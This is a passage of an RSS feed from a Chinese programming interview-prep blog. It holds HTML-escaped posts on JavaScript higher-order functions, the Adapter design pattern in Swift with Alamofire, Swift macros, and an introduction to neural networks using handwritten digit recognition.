&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transformArray&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;transformFn&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;array&lt;/span&gt;) =&amp;gt; &lt;span style="color:#a6e22e"&gt;array&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;map&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;transformFn&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 定义一个简单的转换函数，将数字转换为它的平方
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;square&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;*&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;x&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 使用高阶函数和转换函数来处理数组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;numbers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;squaredNumbers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;transformArray&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;square&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;numbers&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;squaredNumbers&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 输出: [1, 4, 9, 16, 25]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在这个例子中，&lt;code&gt;transformArray&lt;/code&gt;是一个高阶函数，它接受一个转换函数&lt;code&gt;transformFn&lt;/code&gt;和一个数组&lt;code&gt;array&lt;/code&gt;作为参数。然后，它使用&lt;code&gt;Array.prototype.map&lt;/code&gt;方法来遍历数组，并对每个元素应用转换函数。&lt;/p&gt;
&lt;h4 id="2-事件处理"&gt;2. 事件处理&lt;/h4&gt;
&lt;p&gt;在Web开发中，事件处理是一个常见的任务。通过高阶函数，我们可以创建更加灵活和可重用的事件处理器。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 定义一个高阶函数，它接受一个事件处理函数和一个事件类型作为参数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createEventHandler&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;handlerFn&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;eventType&lt;/span&gt;) =&amp;gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;type&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;eventType&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handlerFn&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 定义一个简单的事件处理函数，用于打印事件信息
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;logEvent&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;event&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;`Event type: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;, Target: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;${&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;event&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 创建一个点击事件处理器
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;handleClick&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;createEventHandler&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;logEvent&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 假设我们有一个DOM元素，我们可以为它添加事件监听器
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// const button = document.querySelector(&amp;#39;button&amp;#39;);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// button.addEventListener(&amp;#39;click&amp;#39;, handleClick);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 为了演示，我们直接调用处理器并传递一个模拟的事件对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mockEvent&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;click&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;target&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;body&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;handleClick&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;mockEvent&lt;/span&gt;); &lt;span style="color:#75715e"&gt;// 输出: Event type: click, Target: [object HTMLBodyElement]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在这个例子中，&lt;code&gt;createEventHandler&lt;/code&gt;是一个高阶函数，它接受一个事件处理函数&lt;code&gt;handlerFn&lt;/code&gt;和一个事件类型&lt;code&gt;eventType&lt;/code&gt;作为参数，并返回一个新的函数。这个新的函数会检查传入的事件对象的类型是否与指定的事件类型匹配，如果匹配，则调用事件处理函数。&lt;/p&gt;</description></item><item><title>适配器模式</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F/</link><pubDate>Sun, 21 Jun 2026 22:41:52 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F/</guid><description>&lt;h2 id="定义"&gt;定义&lt;/h2&gt;
&lt;p&gt;适配器模式（Adapter Pattern）是一种结构型设计模式，它将一个类的接口转换成客户期望的另一个接口。适配器让原本接口不兼容的类可以合作。&lt;/p&gt;
&lt;p&gt;适配器模式的核心思想是：通过一个中间层（适配器）来使不兼容的接口能够一起工作，而无需修改原有代码。&lt;/p&gt;
&lt;h2 id="为什么需要适配器模式"&gt;为什么需要适配器模式&lt;/h2&gt;
&lt;p&gt;适配器模式要解决的核心问题是：&lt;strong&gt;让接口不兼容的类能够一起工作，而不需要修改原有代码&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;问题场景&lt;/strong&gt;：假设我们的App原来使用的是自己封装的网络库，现在想要切换到Alamofire，但项目中有大量地方直接使用了旧接口。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 旧的网络接口 - 项目中到处都在使用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;protocol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;OldNetworkClient&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(url: String, callback: @escaping (Data?, Error?) -&amp;gt; Void)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;post&lt;/span&gt;(url: String, body: Data?, callback: @escaping (Data?, Error?) -&amp;gt; Void)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 新引入的Alamofire有完全不同的接口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// AF.request(url).response { response in ... }&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最直接的方式是修改所有调用处：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 需要修改项目中所有使用旧接口的地方&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 从：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;oldClient.&lt;span style="color:#66d9ef"&gt;get&lt;/span&gt;(url: &lt;span style="color:#e6db74"&gt;&amp;#34;https://api.example.com/users&amp;#34;&lt;/span&gt;) { data, error &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; ... }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 改为：&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;AF.request(&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.example.com/users&amp;#34;&lt;/span&gt;).response { response &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; ... }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方式有什么问题？&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;工作量巨大&lt;/strong&gt;：需要修改项目中所有使用网络请求的地方&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;风险高&lt;/strong&gt;：大量修改容易引入bug&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;难以回退&lt;/strong&gt;：如果新库有问题，很难切换回旧实现&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;违反开闭原则&lt;/strong&gt;：修改了大量现有代码&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;适配器模式的解决思路&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;创建一个适配器，让新库&amp;quot;伪装&amp;quot;成旧接口，现有代码无需修改：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 适配器 - 让Alamofire适配旧接口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;AlamofireAdapter&lt;/span&gt;: OldNetworkClient {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(url: String, callback: @escaping (Data?, Error?) -&amp;gt; Void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 内部使用Alamofire，但对外暴露旧接口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; AF.request(url).response { response &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; callback(response.data, response.error)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;post&lt;/span&gt;(url: String, body: Data?, callback: @escaping (Data?, Error?) -&amp;gt; Void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; AF.request(url, method: .post, parameters: &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, encoding: URLEncoding.&lt;span style="color:#66d9ef"&gt;default&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .response { response &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; callback(response.data, response.error)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 现有代码完全不需要修改&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; client: OldNetworkClient = AlamofireAdapter()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;client.&lt;span style="color:#66d9ef"&gt;get&lt;/span&gt;(url: &lt;span style="color:#e6db74"&gt;&amp;#34;https://api.example.com/users&amp;#34;&lt;/span&gt;) { data, error &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 原有的处理逻辑保持不变&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;适配器模式的好处&lt;/strong&gt;：&lt;/p&gt;</description></item><item><title>Swift 宏</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E5%AE%8F/</link><pubDate>Mon, 04 May 2026 00:38:29 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/swift%E5%AE%8F/</guid><description>&lt;p&gt;Swift 5.9（WWDC 2023）引入的&lt;strong&gt;宏（Macro）&lt;strong&gt;是近几年语言层最大的一次能力扩展。它让 Swift 第一次具备了&lt;/strong&gt;编译期代码生成&lt;/strong&gt;的官方机制——你可以在源码层面写一段&amp;quot;能生成代码的代码&amp;quot;，编译器会在类型检查前把它展开成真正的 Swift 源码，再走正常的编译流程。SwiftUI 的 &lt;code&gt;#Preview&lt;/code&gt;、Observation 框架的 &lt;code&gt;@Observable&lt;/code&gt;、SwiftData 的 &lt;code&gt;@Model&lt;/code&gt;、Swift Testing 的 &lt;code&gt;@Test&lt;/code&gt; / &lt;code&gt;#expect&lt;/code&gt;、FoundationModels 的 &lt;code&gt;@Generable&lt;/code&gt; / &lt;code&gt;@Tool&lt;/code&gt;，全都是宏。&lt;/p&gt;
&lt;h2 id="一为什么要有宏"&gt;一、为什么要有宏&lt;/h2&gt;
&lt;h3 id="11-swift-之前能做什么又差在哪"&gt;1.1 Swift 之前能做什么，又差在哪&lt;/h3&gt;
&lt;p&gt;在宏之前，Swift 已经有一整套&amp;quot;元编程&amp;quot;手段，但每一种都有明显的边界：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;机制&lt;/th&gt;
&lt;th&gt;做什么&lt;/th&gt;
&lt;th&gt;局限&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@propertyWrapper&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;给属性注入行为（如 &lt;code&gt;@Published&lt;/code&gt;、&lt;code&gt;@State&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;只能包属性，不能生成方法、不能生成类型、不能访问其他成员&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@resultBuilder&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;把一段 DSL 收集成表达式（如 SwiftUI 的 &lt;code&gt;ViewBuilder&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;只作用于闭包里，无法改类型定义&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;KeyPath + Mirror&lt;/td&gt;
&lt;td&gt;运行时反射读写属性&lt;/td&gt;
&lt;td&gt;只能读，类型安全差，性能差（见 &lt;a href="https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E5%8F%8D%E5%B0%84/"&gt;iOS反射&lt;/a&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Codable 等编译器魔法&lt;/td&gt;
&lt;td&gt;自动合成 &lt;code&gt;init(from:)&lt;/code&gt; / &lt;code&gt;encode(to:)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;只有编译器内部能写，开发者写不出同等能力的东西&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sourcery / SwiftGen&lt;/td&gt;
&lt;td&gt;文本级代码生成&lt;/td&gt;
&lt;td&gt;游离于编译器之外，无类型信息、无法访问 AST&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Objective-C &lt;code&gt;#define&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;纯文本替换&lt;/td&gt;
&lt;td&gt;没有作用域、没有类型、没有卫生（hygiene），对调试器和 IDE 极不友好&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;宏&lt;/strong&gt;就是要一次性补齐这块能力：在保留类型安全与 IDE 体验的前提下，把&amp;quot;只有 Swift 编译器团队能写的代码生成&amp;quot;开放给所有开发者。&lt;/p&gt;</description></item><item><title>神经网络原理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E5%8E%9F%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C%E5%8E%9F%E7%90%86/</guid><description>&lt;p&gt;想象你手写了一个数字&amp;quot;3&amp;quot;，然后拿给计算机看——它是怎么&amp;quot;认出&amp;quot;这是3而不是8的？这个看似简单的问题，背后隐藏着整个深度学习的核心思想。让我们从最直觉的方式开始，一层一层揭开神经网络的面纱。&lt;/p&gt;
&lt;h2 id="一从像素到数字问题的本质"&gt;一、从像素到数字：问题的本质&lt;/h2&gt;
&lt;h3 id="11-手写数字识别"&gt;1.1 手写数字识别&lt;/h3&gt;
&lt;p&gt;假设我们有一张28x28像素的灰度手写数字图片。每个像素是一个0到1之间的数字——0代表全黑，1代表全白。这意味着一张图片其实就是一个包含784个数字的列表。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;图片 → [0.0, 0.0, 0.12, 0.85, 0.93, ..., 0.0] (784个数字)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们的目标是设计一个函数，输入这784个数字，输出10个数字，分别代表这张图是0~9每个数字的概率：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;f(784个像素值) → [P(0), P(1), P(2), ..., P(9)]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;比如输入一张手写的&amp;quot;3&amp;quot;，我们期望输出类似：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[0.01, 0.02, 0.05, 0.89, 0.01, 0.01, 0.00, 0.01, 0.00, 0.00]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ^^^^
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#34;3&amp;#34;的概率最高
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这就是神经网络要解决的问题。但关键问题是：这个函数 &lt;code&gt;f&lt;/code&gt; 长什么样？&lt;/p&gt;
&lt;h3 id="12-为什么传统编程行不通"&gt;1.2 为什么传统编程行不通&lt;/h3&gt;
&lt;p&gt;你可能会想：能不能写一堆if-else规则？比如&amp;quot;如果上方有一个圆弧，下方也有一个圆弧，那就是3&amp;quot;。&lt;/p&gt;
&lt;p&gt;问题在于：人类写字的方式千变万化。同一个&amp;quot;3&amp;quot;，有人写得圆润，有人写得尖锐，有人偏左，有人偏右。你几乎不可能用明确的规则覆盖所有情况。&lt;/p&gt;
&lt;p&gt;我们需要的是一种&lt;strong&gt;从数据中自动学习规则&lt;/strong&gt;的方法——这就是神经网络。&lt;/p&gt;
&lt;h2 id="二神经网络的结构"&gt;二、神经网络的结构&lt;/h2&gt;
&lt;h3 id="21-神经元最基本的单元"&gt;2.1 神经元：最基本的单元&lt;/h3&gt;
&lt;p&gt;让我们从最简单的单元开始。一个&lt;strong&gt;神经元&lt;/strong&gt;本质上就是一个持有数字的容器。这个数字叫做&lt;strong&gt;激活值（activation）&lt;/strong&gt;，取值范围通常在0到1之间。&lt;/p&gt;
&lt;p&gt;你可以把它想象成一个灯泡：0表示完全熄灭，1表示完全点亮，中间的值表示不同亮度。&lt;/p&gt;
&lt;h3 id="22-层神经元的组织方式"&gt;2.2 层：神经元的组织方式&lt;/h3&gt;
&lt;p&gt;神经网络把神经元组织成&lt;strong&gt;层（layer）&lt;/strong&gt;：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph LR
subgraph 输入层 [输入层 - 784个神经元]
I1[像素1]
I2[像素2]
I3[...]
I784[像素784]
end
subgraph 隐藏层1 [隐藏层1 - 16个神经元]
H1_1[h1]
H1_2[h2]
H1_3[...]
H1_16[h16]
end
subgraph 隐藏层2 [隐藏层2 - 16个神经元]
H2_1[h1]
H2_2[h2]
H2_3[...]
H2_16[h16]
end
subgraph 输出层 [输出层 - 10个神经元]
O0[0]
O1[1]
O2[...]
O9[9]
end
I1 --&gt; H1_1
I1 --&gt; H1_2
I784 --&gt; H1_16
H1_1 --&gt; H2_1
H1_16 --&gt; H2_16
H2_1 --&gt; O0
H2_16 --&gt; O9
&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;输入层&lt;/strong&gt;：784个神经元，每个对应一个像素值&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐藏层&lt;/strong&gt;：中间的层（这里用2层，每层16个神经元）&lt;/li&gt;
